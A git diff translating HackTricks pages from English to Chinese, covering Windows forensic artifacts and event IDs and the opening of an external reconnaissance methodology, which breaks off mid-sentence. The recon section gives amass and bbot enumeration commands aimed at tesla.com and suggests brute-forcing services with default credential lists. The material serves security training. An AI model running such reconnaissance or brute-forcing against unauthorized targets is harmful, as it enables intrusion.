发送的字节 +- 接收的字节 +- 网络接口 +- 连接持续时间 +- 进程持续时间 -This information is updated every 60 mins. - -You can obtain the date from this file using the tool [**srum_dump**](https://github.com/MarkBaggett/srum-dump). +这些信息每 60 分钟更新一次。 +您可以使用工具 [**srum_dump**](https://github.com/MarkBaggett/srum-dump) 从该文件中获取日期。 ```bash .\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum ``` - ### AppCompatCache (ShimCache) -The **AppCompatCache**, also known as **ShimCache**, forms a part of the **Application Compatibility Database** developed by **Microsoft** to tackle application compatibility issues. This system component records various pieces of file metadata, which include: +**AppCompatCache**,也称为 **ShimCache**,是 **Microsoft** 开发的 **应用程序兼容性数据库** 的一部分,用于解决应用程序兼容性问题。该系统组件记录了各种文件元数据,包括: -- Full path of the file -- Size of the file -- Last Modified time under **$Standard_Information** (SI) -- Last Updated time of the ShimCache -- Process Execution Flag +- 文件的完整路径 +- 文件的大小 +- 在 **$Standard_Information** (SI) 下的最后修改时间 +- ShimCache 的最后更新时间 +- 进程执行标志 -Such data is stored within the registry at specific locations based on the version of the operating system: +这些数据根据操作系统的版本存储在注册表的特定位置: -- For XP, the data is stored under `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` with a capacity for 96 entries. -- For Server 2003, as well as for Windows versions 2008, 2012, 2016, 7, 8, and 10, the storage path is `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, accommodating 512 and 1024 entries, respectively. +- 对于 XP,数据存储在 `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` 下,最多可容纳 96 条目。 +- 对于 Server 2003,以及 Windows 版本 2008、2012、2016、7、8 和 10,存储路径为 `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`,分别可容纳 512 和 1024 条目。 -To parse the stored information, the [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser) is recommended for use. +要解析存储的信息,建议使用 [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser)。 ![](<../../../images/image (75).png>) ### Amcache -The **Amcache.hve** file is essentially a registry hive that logs details about applications that have been executed on a system. It is typically found at `C:\Windows\AppCompat\Programas\Amcache.hve`. +**Amcache.hve** 文件本质上是一个注册表蜂巢,记录了在系统上执行的应用程序的详细信息。它通常位于 `C:\Windows\AppCompat\Programas\Amcache.hve`。 -This file is notable for storing records of recently executed processes, including the paths to the executable files and their SHA1 hashes. This information is invaluable for tracking the activity of applications on a system. - -To extract and analyze the data from **Amcache.hve**, the [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) tool can be used. The following command is an example of how to use AmcacheParser to parse the contents of the **Amcache.hve** file and output the results in CSV format: +该文件以存储最近执行的进程记录而著称,包括可执行文件的路径及其 SHA1 哈希。这些信息对于跟踪系统上应用程序的活动非常宝贵。 +要提取和分析 **Amcache.hve** 中的数据,可以使用 [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) 工具。以下命令是如何使用 AmcacheParser 解析 **Amcache.hve** 文件内容并以 CSV 格式输出结果的示例: ```bash AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder ``` +在生成的 CSV 文件中,`Amcache_Unassociated file entries` 特别引人注目,因为它提供了关于未关联文件条目的丰富信息。 -Among the generated CSV files, the `Amcache_Unassociated file entries` is particularly noteworthy due to the rich information it provides about unassociated file entries. - -The most interesting CVS file generated is the `Amcache_Unassociated file entries`. +生成的最有趣的 CVS 文件是 `Amcache_Unassociated file entries`。 ### RecentFileCache -This artifact can only be found in W7 in `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` and it contains information about the recent execution of some binaries. +此工件仅在 W7 中找到,路径为 `C:\Windows\AppCompat\Programs\RecentFileCache.bcf`,它包含有关某些二进制文件最近执行的信息。 -You can use the tool [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) to parse the file. +您可以使用工具 [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) 来解析该文件。 ### Scheduled tasks -You can extract them from `C:\Windows\Tasks` or `C:\Windows\System32\Tasks` and read them as XML. +您可以从 `C:\Windows\Tasks` 或 `C:\Windows\System32\Tasks` 中提取它们,并将其作为 XML 读取。 ### Services -You can find them in the registry under `SYSTEM\ControlSet001\Services`. You can see what is going to be executed and when. +您可以在注册表中找到它们,路径为 `SYSTEM\ControlSet001\Services`。您可以查看将要执行的内容及其时间。 ### **Windows Store** -The installed applications can be found in `\ProgramData\Microsoft\Windows\AppRepository\`\ -This repository has a **log** with **each application installed** in the system inside the database **`StateRepository-Machine.srd`**. +已安装的应用程序可以在 `\ProgramData\Microsoft\Windows\AppRepository\` 中找到。\ +此存储库中有一个 **log**,记录了系统中 **每个已安装的应用程序**,存储在数据库 **`StateRepository-Machine.srd`** 中。 -Inside the Application table of this database, it's possible to find the columns: "Application ID", "PackageNumber", and "Display Name". These columns have information about pre-installed and installed applications and it can be found if some applications were uninstalled because the IDs of installed applications should be sequential. +在该数据库的应用程序表中,可以找到列:“Application ID”、“PackageNumber”和“Display Name”。这些列包含有关预安装和已安装应用程序的信息,如果某些应用程序被卸载,可以找到,因为已安装应用程序的 ID 应该是连续的。 -It's also possible to **find installed application** inside the registry path: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ -And **uninstalled** **applications** in: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` +您还可以在注册表路径 `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\` 中 **找到已安装的应用程序**,\ +并在 `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` 中找到 **已卸载的应用程序**。 ## Windows Events -Information that appears inside Windows events are: +Windows 事件中出现的信息包括: -- What happened -- Timestamp (UTC + 0) -- Users involved -- Hosts involved (hostname, IP) -- Assets accessed (files, folder, printer, services) +- 发生了什么 +- 时间戳 (UTC + 0) +- 相关用户 +- 相关主机 (主机名,IP) +- 访问的资产 (文件,文件夹,打印机,服务) -The logs are located in `C:\Windows\System32\config` before Windows Vista and in `C:\Windows\System32\winevt\Logs` after Windows Vista. Before Windows Vista, the event logs were in binary format and after it, they are in **XML format** and use the **.evtx** extension. +日志位于 `C:\Windows\System32\config`(在 Windows Vista 之前)和 `C:\Windows\System32\winevt\Logs`(在 Windows Vista 之后)。在 Windows Vista 之前,事件日志是二进制格式,而之后则是 **XML 格式**,并使用 **.evtx** 扩展名。 -The location of the event files can be found in the SYSTEM registry in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** +事件文件的位置可以在 SYSTEM 注册表中找到,路径为 **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**。 -They can be visualized from the Windows Event Viewer (**`eventvwr.msc`**) or with other tools like [**Event Log Explorer**](https://eventlogxp.com) **or** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** +可以通过 Windows 事件查看器 (**`eventvwr.msc`**) 或其他工具如 [**Event Log Explorer**](https://eventlogxp.com) **或** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)** 来可视化它们。 -## Understanding Windows Security Event Logging +## 理解 Windows 安全事件日志 -Access events are recorded in the security configuration file located at `C:\Windows\System32\winevt\Security.evtx`. This file's size is adjustable, and when its capacity is reached, older events are overwritten. Recorded events include user logins and logoffs, user actions, and changes to security settings, as well as file, folder, and shared asset access. +访问事件记录在位于 `C:\Windows\System32\winevt\Security.evtx` 的安全配置文件中。该文件的大小是可调的,当其容量达到时,较旧的事件会被覆盖。记录的事件包括用户登录和注销、用户操作以及安全设置的更改,以及文件、文件夹和共享资产的访问。 -### Key Event IDs for User Authentication: +### 用户身份验证的关键事件 ID: -- **EventID 4624**: Indicates a user successfully authenticated. -- **EventID 4625**: Signals an authentication failure. -- **EventIDs 4634/4647**: Represent user logoff events. -- **EventID 4672**: Denotes login with administrative privileges. +- **EventID 4624**:表示用户成功认证。 +- **EventID 4625**:表示认证失败。 +- **EventIDs 4634/4647**:表示用户注销事件。 +- **EventID 4672**:表示以管理员权限登录。 -#### Sub-types within EventID 4634/4647: +#### EventID 4634/4647 中的子类型: -- **Interactive (2)**: Direct user login. -- **Network (3)**: Access to shared folders. -- **Batch (4)**: Execution of batch processes. -- **Service (5)**: Service launches. -- **Proxy (6)**: Proxy authentication. -- **Unlock (7)**: Screen unlocked with a password. -- **Network Cleartext (8)**: Clear text password transmission, often from IIS. -- **New Credentials (9)**: Usage of different credentials for access. -- **Remote Interactive (10)**: Remote desktop or terminal services login. -- **Cache Interactive (11)**: Login with cached credentials without domain controller contact. -- **Cache Remote Interactive (12)**: Remote login with cached credentials. -- **Cached Unlock (13)**: Unlocking with cached credentials. +- **Interactive (2)**:直接用户登录。 +- **Network (3)**:访问共享文件夹。 +- **Batch (4)**:执行批处理。 +- **Service (5)**:服务启动。 +- **Proxy (6)**:代理认证。 +- **Unlock (7)**:使用密码解锁屏幕。 +- **Network Cleartext (8)**:明文密码传输,通常来自 IIS。 +- **New Credentials (9)**:使用不同的凭据进行访问。 +- **Remote Interactive (10)**:远程桌面或终端服务登录。 +- **Cache Interactive (11)**:使用缓存凭据登录,无需联系域控制器。 +- **Cache Remote Interactive (12)**:使用缓存凭据进行远程登录。 +- **Cached Unlock (13)**:使用缓存凭据解锁。 -#### Status and Sub Status Codes for EventID 4625: +#### EventID 4625 的状态和子状态代码: -- **0xC0000064**: User name does not exist - Could indicate a username enumeration attack. -- **0xC000006A**: Correct user name but wrong password - Possible password guessing or brute-force attempt. -- **0xC0000234**: User account locked out - May follow a brute-force attack resulting in multiple failed logins. -- **0xC0000072**: Account disabled - Unauthorized attempts to access disabled accounts. -- **0xC000006F**: Logon outside allowed time - Indicates attempts to access outside of set login hours, a possible sign of unauthorized access. -- **0xC0000070**: Violation of workstation restrictions - Could be an attempt to login from an unauthorized location. -- **0xC0000193**: Account expiration - Access attempts with expired user accounts. -- **0xC0000071**: Expired password - Login attempts with outdated passwords. -- **0xC0000133**: Time sync issues - Large time discrepancies between client and server may be indicative of more sophisticated attacks like pass-the-ticket. -- **0xC0000224**: Mandatory password change required - Frequent mandatory changes might suggest an attempt to destabilize account security. -- **0xC0000225**: Indicates a system bug rather than a security issue. -- **0xC000015b**: Denied logon type - Access attempt with unauthorized logon type, such as a user trying to execute a service logon. +- **0xC0000064**:用户名不存在 - 可能表示用户名枚举攻击。 +- **0xC000006A**:正确的用户名但错误的密码 - 可能是密码猜测或暴力破解尝试。 +- **0xC0000234**:用户账户被锁定 - 可能是在暴力攻击后导致多次登录失败。 +- **0xC0000072**:账户已禁用 - 未经授权尝试访问已禁用的账户。 +- **0xC000006F**:在允许的时间之外登录 - 表示在设定的登录时间之外尝试访问,可能是未经授权的访问迹象。 +- **0xC0000070**:违反工作站限制 - 可能是尝试从未经授权的位置登录。 +- **0xC0000193**:账户过期 - 使用过期用户账户的访问尝试。 +- **0xC0000071**:密码过期 - 使用过时密码的登录尝试。 +- **0xC0000133**:时间同步问题 - 客户端和服务器之间的大时间差异可能表明更复杂的攻击,如票据传递攻击。 +- **0xC0000224**:需要强制更改密码 - 频繁的强制更改可能表明试图破坏账户安全。 +- **0xC0000225**:表示系统错误而非安全问题。 +- **0xC000015b**:拒绝的登录类型 - 使用未经授权的登录类型进行的访问尝试,例如用户尝试执行服务登录。 -#### EventID 4616: +#### EventID 4616: -- **Time Change**: Modification of the system time, could obscure the timeline of events. +- **时间更改**:系统时间的修改,可能会模糊事件的时间线。 -#### EventID 6005 and 6006: +#### EventID 6005 和 6006: -- **System Startup and Shutdown**: EventID 6005 indicates the system starting up, while EventID 6006 marks it shutting down. +- **系统启动和关闭**:EventID 6005 表示系统启动,而 EventID 6006 表示系统关闭。 -#### EventID 1102: +#### EventID 1102: -- **Log Deletion**: Security logs being cleared, which is often a red flag for covering up illicit activities. +- **日志删除**:安全日志被清除,通常是掩盖非法活动的红旗。 -#### EventIDs for USB Device Tracking: +#### USB 设备跟踪的事件 ID: -- **20001 / 20003 / 10000**: USB device first connection. -- **10100**: USB driver update. -- **EventID 112**: Time of USB device insertion. +- **20001 / 20003 / 10000**:USB 设备首次连接。 +- **10100**:USB 驱动程序更新。 +- **EventID 112**:USB 设备插入的时间。 -For practical examples on simulating these login types and credential dumping opportunities, refer to [Altered Security's detailed guide](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them). +有关模拟这些登录类型和凭据转储机会的实际示例,请参阅 [Altered Security 的详细指南](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them)。 -Event details, including status and sub-status codes, provide further insights into event causes, particularly notable in Event ID 4625. +事件详细信息,包括状态和子状态代码,提供了对事件原因的进一步洞察,特别是在事件 ID 4625 中尤为显著。 -### Recovering Windows Events +### 恢复 Windows 事件 -To enhance the chances of recovering deleted Windows Events, it's advisable to power down the suspect computer by directly unplugging it. **Bulk_extractor**, a recovery tool specifying the `.evtx` extension, is recommended for attempting to recover such events. +为了提高恢复已删除 Windows 事件的机会,建议通过直接拔掉电源来关闭可疑计算机。**Bulk_extractor** 是一种指定 `.evtx` 扩展名的恢复工具,推荐用于尝试恢复此类事件。 -### Identifying Common Attacks via Windows Events +### 通过 Windows 事件识别常见攻击 -For a comprehensive guide on utilizing Windows Event IDs in identifying common cyber attacks, visit [Red Team Recipe](https://redteamrecipe.com/event-codes/). +有关利用 Windows 事件 ID 识别常见网络攻击的全面指南,请访问 [Red Team Recipe](https://redteamrecipe.com/event-codes/)。 -#### Brute Force Attacks +#### 暴力攻击 -Identifiable by multiple EventID 4625 records, followed by an EventID 4624 if the attack succeeds. +通过多个 EventID 4625 记录可识别,若攻击成功,则后续会有 EventID 4624。 -#### Time Change +#### 时间更改 -Recorded by EventID 4616, changes to system time can complicate forensic analysis. +通过 EventID 4616 记录,系统时间的更改可能会使取证分析变得复杂。 -#### USB Device Tracking +#### USB 设备跟踪 -Useful System EventIDs for USB device tracking include 20001/20003/10000 for initial use, 10100 for driver updates, and EventID 112 from DeviceSetupManager for insertion timestamps. +用于 USB 设备跟踪的有用系统事件 ID 包括 20001/20003/10000(首次使用),10100(驱动程序更新)和 EventID 112(来自 DeviceSetupManager 的插入时间戳)。 -#### System Power Events +#### 系统电源事件 -EventID 6005 indicates system startup, while EventID 6006 marks shutdown. +EventID 6005 表示系统启动,而 EventID 6006 表示关闭。 -#### Log Deletion +#### 日志删除 -Security EventID 1102 signals the deletion of logs, a critical event for forensic analysis. +安全 EventID 1102 表示日志被删除,这是取证分析中的关键事件。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md index 840b910bc..5723c3a82 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md @@ -1,101 +1,101 @@ -# Interesting Windows Registry Keys +# 有趣的 Windows 注册表键 -### Interesting Windows Registry Keys +### 有趣的 Windows 注册表键 {{#include ../../../banners/hacktricks-training.md}} -### **Windows Version and Owner Info** +### **Windows 版本和所有者信息** -- Located at **`Software\Microsoft\Windows NT\CurrentVersion`**, you'll find the Windows version, Service Pack, installation time, and the registered owner's name in a straightforward manner. +- 位于 **`Software\Microsoft\Windows NT\CurrentVersion`**,您可以以简单的方式找到 Windows 版本、服务包、安装时间和注册所有者的名称。 -### **Computer Name** +### **计算机名称** -- The hostname is found under **`System\ControlSet001\Control\ComputerName\ComputerName`**. +- 主机名位于 **`System\ControlSet001\Control\ComputerName\ComputerName`** 下。 -### **Time Zone Setting** +### **时区设置** -- The system's time zone is stored in **`System\ControlSet001\Control\TimeZoneInformation`**. +- 系统的时区存储在 **`System\ControlSet001\Control\TimeZoneInformation`** 中。 -### **Access Time Tracking** +### **访问时间跟踪** -- By default, the last access time tracking is turned off (**`NtfsDisableLastAccessUpdate=1`**). To enable it, use: - `fsutil behavior set disablelastaccess 0` +- 默认情况下,最后访问时间跟踪是关闭的 (**`NtfsDisableLastAccessUpdate=1`**)。要启用它,请使用: +`fsutil behavior set disablelastaccess 0` -### Windows Versions and Service Packs +### Windows 版本和服务包 -- The **Windows version** indicates the edition (e.g., Home, Pro) and its release (e.g., Windows 10, Windows 11), while **Service Packs** are updates that include fixes and, sometimes, new features. +- **Windows 版本** 指示版本(例如,家庭版、专业版)及其发布(例如,Windows 10、Windows 11),而 **服务包** 是包含修复和有时新功能的更新。 -### Enabling Last Access Time +### 启用最后访问时间 -- Enabling last access time tracking allows you to see when files were last opened, which can be critical for forensic analysis or system monitoring. +- 启用最后访问时间跟踪可以让您查看文件最后一次打开的时间,这对于取证分析或系统监控至关重要。 -### Network Information Details +### 网络信息详细信息 -- The registry holds extensive data on network configurations, including **types of networks (wireless, cable, 3G)** and **network categories (Public, Private/Home, Domain/Work)**, which are vital for understanding network security settings and permissions. +- 注册表保存了关于网络配置的广泛数据,包括 **网络类型(无线、有线、3G)** 和 **网络类别(公共、私人/家庭、域/工作)**,这些对于理解网络安全设置和权限至关重要。 -### Client Side Caching (CSC) +### 客户端缓存 (CSC) -- **CSC** enhances offline file access by caching copies of shared files. Different **CSCFlags** settings control how and what files are cached, affecting performance and user experience, especially in environments with intermittent connectivity. +- **CSC** 通过缓存共享文件的副本来增强离线文件访问。不同的 **CSCFlags** 设置控制缓存哪些文件和如何缓存,影响性能和用户体验,尤其是在连接不稳定的环境中。 -### AutoStart Programs +### 自动启动程序 -- Programs listed in various `Run` and `RunOnce` registry keys are automatically launched at startup, affecting system boot time and potentially being points of interest for identifying malware or unwanted software. +- 列在各种 `Run` 和 `RunOnce` 注册表键中的程序会在启动时自动启动,影响系统启动时间,并可能成为识别恶意软件或不需要软件的关注点。 ### Shellbags -- **Shellbags** not only store preferences for folder views but also provide forensic evidence of folder access even if the folder no longer exists. They are invaluable for investigations, revealing user activity that isn't obvious through other means. +- **Shellbags** 不仅存储文件夹视图的偏好设置,还提供文件夹访问的取证证据,即使该文件夹不再存在。它们对于调查非常宝贵,揭示了通过其他方式不明显的用户活动。 -### USB Information and Forensics +### USB 信息和取证 -- The details stored in the registry about USB devices can help trace which devices were connected to a computer, potentially linking a device to sensitive file transfers or unauthorized access incidents. +- 注册表中存储的关于 USB 设备的详细信息可以帮助追踪哪些设备连接到计算机,可能将设备与敏感文件传输或未经授权的访问事件联系起来。 -### Volume Serial Number +### 卷序列号 -- The **Volume Serial Number** can be crucial for tracking the specific instance of a file system, useful in forensic scenarios where file origin needs to be established across different devices. +- **卷序列号** 对于跟踪文件系统的特定实例至关重要,在需要跨不同设备建立文件来源的取证场景中非常有用。 -### **Shutdown Details** +### **关机详细信息** -- Shutdown time and count (the latter only for XP) are kept in **`System\ControlSet001\Control\Windows`** and **`System\ControlSet001\Control\Watchdog\Display`**. +- 关机时间和计数(后者仅适用于 XP)保存在 **`System\ControlSet001\Control\Windows`** 和 **`System\ControlSet001\Control\Watchdog\Display`** 中。 -### **Network Configuration** +### **网络配置** -- For detailed network interface info, refer to **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**. -- First and last network connection times, including VPN connections, are logged under various paths in **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**. +- 有关详细的网络接口信息,请参阅 **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**。 +- 首次和最后的网络连接时间,包括 VPN 连接,记录在 **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`** 的各种路径下。 -### **Shared Folders** +### **共享文件夹** -- Shared folders and settings are under **`System\ControlSet001\Services\lanmanserver\Shares`**. The Client Side Caching (CSC) settings dictate offline file availability. +- 共享文件夹和设置位于 **`System\ControlSet001\Services\lanmanserver\Shares`** 下。客户端缓存 (CSC) 设置决定离线文件的可用性。 -### **Programs that Start Automatically** +### **自动启动的程序** -- Paths like **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** and similar entries under `Software\Microsoft\Windows\CurrentVersion` detail programs set to run at startup. +- 像 **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** 这样的路径和 `Software\Microsoft\Windows\CurrentVersion` 下的类似条目详细说明了设置为在启动时运行的程序。 -### **Searches and Typed Paths** +### **搜索和输入的路径** -- Explorer searches and typed paths are tracked in the registry under **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** for WordwheelQuery and TypedPaths, respectively. +- 资源管理器搜索和输入的路径在注册表中跟踪,位于 **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** 下的 WordwheelQuery 和 TypedPaths。 -### **Recent Documents and Office Files** +### **最近的文档和 Office 文件** -- Recent documents and Office files accessed are noted in `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` and specific Office version paths. +- 最近访问的文档和 Office 文件记录在 `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` 和特定 Office 版本路径中。 -### **Most Recently Used (MRU) Items** +### **最近使用的 (MRU) 项目** -- MRU lists, indicating recent file paths and commands, are stored in various `ComDlg32` and `Explorer` subkeys under `NTUSER.DAT`. +- MRU 列表,指示最近的文件路径和命令,存储在 `NTUSER.DAT` 下的各种 `ComDlg32` 和 `Explorer` 子键中。 -### **User Activity Tracking** +### **用户活动跟踪** -- The User Assist feature logs detailed application usage stats, including run count and last run time, at **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**. +- 用户助手功能记录详细的应用程序使用统计信息,包括运行次数和最后运行时间,位于 **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**。 -### **Shellbags Analysis** +### **Shellbags 分析** -- Shellbags, revealing folder access details, are stored in `USRCLASS.DAT` and `NTUSER.DAT` under `Software\Microsoft\Windows\Shell`. Use **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** for analysis. +- Shellbags,揭示文件夹访问详细信息,存储在 `USRCLASS.DAT` 和 `NTUSER.DAT` 下的 `Software\Microsoft\Windows\Shell` 中。使用 **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** 进行分析。 -### **USB Device History** +### **USB 设备历史** -- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** and **`HKLM\SYSTEM\ControlSet001\Enum\USB`** contain rich details on connected USB devices, including manufacturer, product name, and connection timestamps. -- The user associated with a specific USB device can be pinpointed by searching `NTUSER.DAT` hives for the device's **{GUID}**. -- The last mounted device and its volume serial number can be traced through `System\MountedDevices` and `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, respectively. +- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** 和 **`HKLM\SYSTEM\ControlSet001\Enum\USB`** 包含有关连接的 USB 设备的丰富详细信息,包括制造商、产品名称和连接时间戳。 +- 通过在 `NTUSER.DAT` 注册表中搜索设备的 **{GUID}**,可以确定与特定 USB 设备相关的用户。 +- 最后挂载的设备及其卷序列号可以通过 `System\MountedDevices` 和 `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt` 分别追踪。 -This guide condenses the crucial paths and methods for accessing detailed system, network, and user activity information on Windows systems, aiming for clarity and usability. +本指南概述了访问 Windows 系统上详细系统、网络和用户活动信息的关键路径和方法,旨在提供清晰和可用性。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md index ef4a9559e..c328cd25a 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -1,49 +1,40 @@ -# External Recon Methodology +# 外部侦察方法论 {{#include ../../banners/hacktricks-training.md}} -
+## 资产发现 -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +> 所以你被告知某家公司拥有的一切都在范围内,你想弄清楚这家公司实际上拥有什么。 -{% embed url="https://www.stmcyber.com/careers" %} +这个阶段的目标是获取**主要公司拥有的所有公司**,然后获取这些公司的**资产**。为此,我们将: -## Assets discoveries +1. 找到主要公司的收购,这将给我们范围内的公司。 +2. 找到每个公司的ASN(如果有的话),这将给我们每个公司拥有的IP范围。 +3. 使用反向whois查找搜索与第一个相关的其他条目(组织名称、域名...)(这可以递归进行)。 +4. 使用其他技术,如shodan `org`和`ssl`过滤器来搜索其他资产(`ssl`技巧可以递归进行)。 -> So you were said that everything belonging to some company is inside the scope, and you want to figure out what this company actually owns. +### **收购** -The goal of this phase is to obtain all the **companies owned by the main company** and then all the **assets** of these companies. To do so, we are going to: +首先,我们需要知道**主要公司拥有的其他公司**。\ +一个选项是访问[https://www.crunchbase.com/](https://www.crunchbase.com),**搜索** **主要公司**,并**点击**“**收购**”。在那里你将看到主要公司收购的其他公司。\ +另一个选项是访问主要公司的**维基百科**页面并搜索**收购**。 -1. Find the acquisitions of the main company, this will give us the companies inside the scope. -2. Find the ASN (if any) of each company, this will give us the IP ranges owned by each company -3. Use reverse whois lookups to search for other entries (organisation names, domains...) related to the first one (this can be done recursively) -4. Use other techniques like shodan `org`and `ssl`filters to search for other assets (the `ssl` trick can be done recursively). - -### **Acquisitions** - -First of all, we need to know which **other companies are owned by the main company**.\ -One option is to visit [https://www.crunchbase.com/](https://www.crunchbase.com), **search** for the **main company**, and **click** on "**acquisitions**". There you will see other companies acquired by the main one.\ -Other option is to visit the **Wikipedia** page of the main company and search for **acquisitions**. - -> Ok, at this point you should know all the companies inside the scope. Lets figure out how to find their assets. +> 好吧,在这一点上你应该知道范围内的所有公司。让我们弄清楚如何找到它们的资产。 ### **ASNs** -An autonomous system number (**ASN**) is a **unique number** assigned to an **autonomous system** (AS) by the **Internet Assigned Numbers Authority (IANA)**.\ -An **AS** consists of **blocks** of **IP addresses** which have a distinctly defined policy for accessing external networks and are administered by a single organisation but may be made up of several operators. - -It's interesting to find if the **company have assigned any ASN** to find its **IP ranges.** It will be interested to perform a **vulnerability test** against all the **hosts** inside the **scope** and **look for domains** inside these IPs.\ -You can **search** by company **name**, by **IP** or by **domain** in [**https://bgp.he.net/**](https://bgp.he.net)**.**\ -**Depending on the region of the company this links could be useful to gather more data:** [**AFRINIC**](https://www.afrinic.net) **(Africa),** [**Arin**](https://www.arin.net/about/welcome/region/)**(North America),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(Latin America),** [**RIPE NCC**](https://www.ripe.net) **(Europe). Anyway, probably all the** useful information **(IP ranges and Whois)** appears already in the first link. +自治系统编号(**ASN**)是由**互联网分配号码管理局(IANA)**分配给**自治系统**(AS)的**唯一编号**。\ +一个**AS**由**IP地址**的**块**组成,这些块具有明确的外部网络访问政策,并由单个组织管理,但可能由多个运营商组成。 +找出**公司是否分配了任何ASN**以查找其**IP范围**是很有趣的。对所有**范围内的主机**进行**漏洞测试**并**查找这些IP内的域名**将是很有趣的。\ +你可以在[**https://bgp.he.net/**](https://bgp.he.net)**中按公司**名称、**IP**或**域**进行**搜索**。\ +**根据公司的地区,这些链接可能对收集更多数据有用:**[**AFRINIC**](https://www.afrinic.net) **(非洲),** [**Arin**](https://www.arin.net/about/welcome/region/) **(北美),** [**APNIC**](https://www.apnic.net) **(亚洲),** [**LACNIC**](https://www.lacnic.net) **(拉丁美洲),** [**RIPE NCC**](https://www.ripe.net) **(欧洲)。无论如何,所有**有用的信息**(IP范围和Whois)可能已经在第一个链接中出现。** ```bash #You can try "automate" this with amass, but it's not very recommended amass intel -org tesla amass intel -asn 8911,50313,394161 ``` - -Also, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** subdomain enumeration automatically aggregates and summarizes ASNs at the end of the scan. - +此外,**[BBOT](https://github.com/blacklanternsecurity/bbot)**的子域名枚举会在扫描结束时自动聚合和总结 ASN。 ```bash bbot -t tesla.com -f subdomain-enum ... @@ -60,62 +51,59 @@ bbot -t tesla.com -f subdomain-enum [INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+ ``` +您还可以使用 [http://asnlookup.com/](http://asnlookup.com) 查找组织的 IP 范围(它有免费的 API)。\ +您可以使用 [http://ipv4info.com/](http://ipv4info.com) 查找域名的 IP 和 ASN。 -You can find the IP ranges of an organisation also using [http://asnlookup.com/](http://asnlookup.com) (it has free API).\ -You can find the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4info.com). +### **寻找漏洞** -### **Looking for vulnerabilities** +此时我们已知 **范围内的所有资产**,因此如果您被允许,可以对所有主机启动一些 **漏洞扫描器**(Nessus, OpenVAS)。\ +此外,您还可以启动一些 [**端口扫描**](../pentesting-network/#discovering-hosts-from-the-outside) **或使用像** shodan **这样的服务来查找** 开放端口 **,根据您发现的内容,您应该** 查阅本书了解如何对多个可能运行的服务进行渗透测试。\ +**此外,值得一提的是,您还可以准备一些** 默认用户名 **和** 密码 **列表,并尝试使用 [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) 进行** 暴力破解服务。 -At this point we known **all the assets inside the scope**, so if you are allowed you could launch some **vulnerability scanner** (Nessus, OpenVAS) over all the hosts.\ -Also, you could launch some [**port scans**](../pentesting-network/#discovering-hosts-from-the-outside) **or use services like** shodan **to find** open ports **and 